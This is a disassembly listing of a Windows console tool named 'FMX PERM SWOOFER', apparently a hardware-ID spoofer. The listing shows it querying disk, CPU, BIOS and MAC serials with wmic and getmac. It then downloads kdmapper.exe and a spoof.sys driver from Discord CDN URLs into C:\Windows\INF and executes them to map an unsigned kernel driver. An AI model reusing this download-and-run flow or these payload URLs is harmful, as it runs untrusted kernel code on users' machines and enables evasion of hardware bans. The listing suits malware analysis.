Function at 0x140001180
Capabilities:
Download url
Execute command
Receive data
Set console window title

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, str.FMX_PERM_SWOOFER
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor ebx, ebx
nop dword [rax]
nop dword [rax + rax]
lea rcx, [0x14000396c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.1._Spoof_Files_n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.2._Check_Hardware_Serials_n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.3._Exit_n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._nEnter_your_choice:
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x34]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x34]
sub ecx, 1
je 0x140001333
sub ecx, 1
je 0x14000129a
cmp ecx, 1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x1400014ed
lea rdx, str.Invalid_choice._Please_enter_1__2__or_3._n
call fcn.140001520
jmp 0x1400014cf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.HWID_Checker_n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
lea rcx, str.wmic_diskdrive_get_model__serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_cpu_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_path_win32_computersystemproduct_get_uuid
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140003938]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.getmac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400014b6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Welcome_To_FMX_PERM_SWOOFER__n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Do_you_want_to_proceed_with_spoofing___y_n_:
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x30]
call fcn.140001700
movzx ecx, byte [rsp + 0x30]
lea eax, [rcx - 0x59]
test al, 0xdf
je 0x1400013cd
sub cl, 0x4e
test cl, 0xdf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x1400013bc
lea rdx, str.Invalid_choice._Returning_to_main_menu..._n
call fcn.140001520
jmp 0x1400014b6
lea rdx, str.Returning_to_main_menu..._n
call fcn.140001520
jmp 0x1400014b6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Press_Any_Key_To_Spoof_n
call fcn.140001520
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsINFkdmapper.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1207177231386812416_1266679598603571250_kdmapper.exe_ex66a606ceis66a4b54ehm18a38c344bce5f2ec97fdfb50cd4c83187f79327689aa314e91f2f918e4fe5e7
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsINF_spoof.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1267418316507451422_1267740893335781397_spoof.sys_ex66b12376is66afd1f6hm16f560596b2194771a3f78812759e9ab6c8731282f5b48c109fecddb35c486ef
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x40
mov qword [rsp + 0x40], rbx
call fcn.140001890
movups xmm0, xmmword [str.C:WindowsINFkdmapper.exe_C:WindowsINF_spoof.sys]
mov qword [rsp + 0x38], rax
mov rcx, rax
mov qword [rsp + 0x48], 0x34
mov qword [rsp + 0x50], 0x3f
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400037d8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400037e8]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x1400037f8]
mov dword [rcx + 0x30], eax
mov byte [rcx + 0x34], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400014b6
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000150e
call fcn.1400018cc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._nPress_any_key_to_continue...
call fcn.140001520
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._nPress_any_key_to_continue...
call fcn.140001520
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
jmp 0x1400011b0
lea rdx, str.Exiting_program..._n
call fcn.140001520
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001870
add rsp, 0x60
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3